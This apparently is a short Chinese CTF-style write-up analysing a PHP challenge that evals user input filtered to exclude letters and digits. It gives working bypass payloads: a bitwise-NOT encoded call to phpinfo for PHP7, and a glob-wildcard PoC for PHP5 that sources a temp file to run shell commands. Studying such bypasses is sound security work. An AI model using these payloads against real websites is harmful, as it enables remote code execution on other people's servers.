无字母数字webshell的命令执行

无字母数字webshell的命令执行

• 代码：

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

代码分析：
这段PHP代码存在严重的安全风险，尤其是它使用了eval()函数，这是一个非常危险的函数，因为它会执行字符串作为PHP代码。下面是对这段代码的详细分析：

1. 检查代码长度：

   • 如果$code的长度超过35个字符，脚本将终止并输出"Long."。

2. 检查代码内容：

   • 使用preg_match()函数检查$code是否包含任何字母（无论大小写）、数字、下划线或美元符号（$）。
   • 如果$code包含这些字符之一，脚本将终止并输出"NO."。

3. 执行代码：

   • 如果$code通过了上述所有检查，它将使用eval()函数执行。

• PHP7前是不允许用($a)();这样的方法来执行动态函数的，但PHP7中增加了对此的支持。所以，我们可以通过('phpinfo')();来执行函数，第一个括号中可以是任意PHP表达式。

所以很简单了，构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下（不可见字符用url编码表示）：

在PHP7中

(~%8F%97%8F%96%91%99%90)();

在PHP5中

• PHP5不支持 ('phpinfo')();

1. shell下可以利用.来执行任意脚本
2. Linux文件名支持用glob通配符代替

构造POC

?><?=. /???/???[@-[];?>